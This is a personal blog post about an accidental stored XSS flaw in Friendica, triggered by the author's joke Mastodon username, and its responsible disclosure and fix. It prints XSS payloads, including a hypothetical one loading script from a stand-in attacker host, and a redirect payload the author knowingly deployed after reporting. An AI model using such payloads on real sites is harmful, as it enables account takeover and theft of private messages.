Accidentally Hacking the Planet

Last summer I tried to hack the Wall of Sheep at DEF CON. It didn't work. The short version is that I tried to make a Cross Site Scripting (XSS) attack against the Wall by crafting a username:

<script type="text/javascript">alert("I was here.");</script>

Because I'm kind of a smartass, I later changed my Mastodon username to something similar:

<script>alert("Tek");</script>

Then I laughed about it with my geeky friends and promptly forgot all about the joke.

And then late at night on Mother's Day Eve this year, some people started sending me messages like "why is your name popping up on my screen?" and "please make that stop" and "DUDE NO REALLY PLEASE STOP IT". I had another laugh and tried to go to sleep, until I realized, oh, this isn't good. Those people were all on various Friendica instances, and when my username came across their timeline, the server software was incorrectly embedding it in the HTML as a real <script> tag instead of displaying it as the literal text <script>alert("Tek");</script>. In the web world, that's about as bad as an attack can get. The US government's CVSS calculator scored it as a perfect 10.0.

  • An attacker (me, by accident, in this case) could exploit the vulnerability without having any access to those Friendica instances.
  • The attack was simple: I changed my username to a bit of valid JavaScript.
  • All I had to do to trigger the vulnerability was to get my username to show up on the victim's screen. If I sent them a message, or if any of their friends saw and boosted my message so that it appeared in the victim's timeline, then the trap was sprung.
  • My little joke was annoying but harmless. A malicious attacker could just as easily change their username to
<script src="https://hackerz.ru/badstuff.js">Hi</script>
  • The malicious JavaScript could do literally anything with the victim's account that the victim could do. It could look at all their private messages and upload them to another server, or change their password, or message all of their friends, or change their own username to be another bit of malicious JavaScript and start a chain reaction.

That wasn't funny at all. I got up and dashed off an email to Friendica's security email address. I also found that some of the people I'd been talking to via Mastodon were Friendica maintainers, and I messaged them with my concerns.1 Satisfied that the right people had been notified, I went back to bed.

The next morning I told my wife and kid about the unexpected evening I'd had. My kid instantly piped up with "Dad! Dad! You should change it to a Rickroll!"2

My jaw hit the floor. Yes, of course. It must be done. My amazing wife egged me on by insisting that as it was Mother's Day, I owed this to her. After a little experimentation, I came up with a new username:

<script>window.location="https://is.gd/WVZvnI#TekWasHere"</script>

It was a little longer than the maximum of 30 characters that Mastodon allows you to enter, but since I have direct access to my Mastodon instance's database, it was easy to work around that limit.

I began receiving new messages that I'm pretty sure were all in good humor. Well, somewhat sure.

To their vast credit, the Friendica gang pounced on the problem quickly. Some instances rolled out a preliminary fix later that day. A week after, the team rolled out a new public release so that all other Friendica admins could patch their systems.

It's easy to make a mistake. That's inevitable. The world would be better if everyone reacted like the Friendica maintainers, by asking questions, finding a solution, then quickly fixing those mistakes. Well done.


  1. Because this is how we do it, OK? It's fine to enjoy that moment of discovery, but when you find a broken window, you let someone know so they can fix it. You don't go in. And you never, ever use that knowledge to hurt people. ↩︎

  2. Exact quote from the conversation: “You have the ability to do the funniest thing in history!” That's overselling it, but I appreciated their enthusiasm. ↩︎

Related Posts